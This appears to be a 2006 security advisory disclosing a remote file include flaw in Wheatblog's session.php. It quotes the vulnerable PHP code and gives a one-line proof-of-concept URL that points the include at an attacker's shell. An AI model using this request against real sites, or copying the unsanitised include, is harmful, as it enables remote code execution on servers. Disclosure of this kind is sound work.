Wheatblog <= 1.1 (session.php) Remote File Include Vulnerability

########################################################################################### # Aria-Security.net Advisory # # Discovered by: O.U.T.L.A.W # # &#60; www.Aria-security.net &#62; # # Gr33t to: A.u.r.a & l2odon & DrtRp & Sh3ll # ########################################################################################### &#60;?php include_once(&#34;$wb_class_dir/classDatabase.php&#34;); function Start_Session() { global $session_dir; if ( $session_dir != &#39;&#39; ) session_save_path($session_dir); if ( ! isset($_SESSION) ) { session_start(); // Supposedly a fix for IE6 header(&#39;Cache-control: private&#39;); My_Cache(); if ( ! isset($_SESSION[&#39;db&#39;]) || gettype($_SESSION[&#39;db&#39;]-&#62;db) != &#39;resource&#39;) touchDatabaseSession(); } } *********************************************************************** Proof of Concept: www.site.com/includes/session.php?wb_class_dir=SHELL Contact : Outlaw@aria-security.net # milw0rm.com [2006-08-11]